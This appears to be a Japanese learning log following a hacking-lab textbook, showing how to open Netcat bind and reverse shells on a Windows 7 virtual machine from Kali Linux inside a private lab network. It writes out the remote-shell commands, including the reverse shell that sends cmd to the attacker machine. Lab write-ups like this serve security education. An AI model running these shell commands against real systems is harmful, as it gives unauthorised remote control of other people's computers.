IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。
第2部
第4章 Windowsのハッキング
4-1 Windows 7のハッキング
Netcatによるバインドシェル
「シェル」とは、入力されたコマンドをオペレーティングシステムが理解できるコトバ(命令)に変換して実行するプログラムです。つまり、ユーザーとオペレーティングシステム間の橋渡しをする役割をします。
バインドシェルでは、攻撃者はターゲットのコンピューター上でNetcatなどのサービスを起動しておきます。つまりターゲット上で攻撃端末からのネットワーク接続を待ち受けている状態にしておき、攻撃者はターゲットに接続します。
攻撃者はネットワークを介してターゲットのシェルをリモート操作し、コマンド実行できるわけです。
攻撃者の接続を待ち受けるには
以下はWindows 7のコマンドプロンプトから、”nc -h”コマンドによりncコマンドの使い方を表示した画面です。
“-e”オプションは、外部(他端末)からのプログラム実行を可能にするオプションです。具体的には”-e”オプションにコマンドプロンプトを指定して実行すると、リモートからWindows 7のコマンドプロンプトを介してWindows 7を操作できるようになります。つまり、nc実行中のPCを遠隔操作できるわけです。
だから、下の画面の”-e”オプションの説明に[dangerous!!](やばいよ!)と表示されているのですね。
まず、Windows 7から以下のコマンドを実行します。
nc -lvp 5555 -e cmd
オプション (先頭に”-“をつける) | 動作の説明 |
l | 外部端末からの接続を待ち受け |
v | ログメッセージをたくさん出す |
p | 待ち受けるポート番号 |
e | ローカルで起動するプログラム |
KaliのTerminalから以下のコマンドを実行します。
nc 192.168.56.107 5555
図のように、Window 7のコマンドプロンプトのプロンプトが表示されるでしょう。ipconfigコマンドによりWindows 7のIPアドレスが”192.168.56.107″であること、hostnameコマンドによりコンピュータ名が”IE8WIN7″であることがわかりました。
以上により、Windows 7をKaliからリモート操作している状態を作り出すことができました。
リモート操作を終了するのは、Kali側から”exit”と入力するだけです。Windows側のncコマンドも同時に終了します。
Netcatによるリバースシェル
バインドシェルではターゲット端末で攻撃端末からの接続を待ち受ける形態でした。一方、リバースシェルでは、攻撃端末はターゲット端末からの接続を待ち受ける方式です。 ターゲット端末から攻撃端末に対して接続を行い、ターゲット端末のシェルを実行可能とします。攻撃側の利点としては、ターゲット側から接続するので、攻撃側から接続する方式と比較してセキュリティが甘い点が挙げられます。
リバースシェルの実現手順とは
Kali側でTerminalから次のコマンドを実行します。すると以下の通り待ち受け状態に遷移します。
$ nc -lvp 5555 listening on [any] 5555 ...
今度はWindows 7側からKaliに接続を試みます。
nc 192.168.56.106 5555 -e cmd
すると、Kali側のTerminalにWindowsのプロンプトが表示されるでしょう。
バインドシェルの時同様、ipconfigやhostnameコマンドを実行し、Windows 7環境であることを確認します。
リバースシェルを終了するには
Kali側から”exit”コマンドを実行します。Windows側のncコマンドも同時に終了するでしょう。
さいごに
今回はNetcatによるバインドシェルとリバースシェルを紹介しました。
次回は、Metasploit Frameworkを紹介します。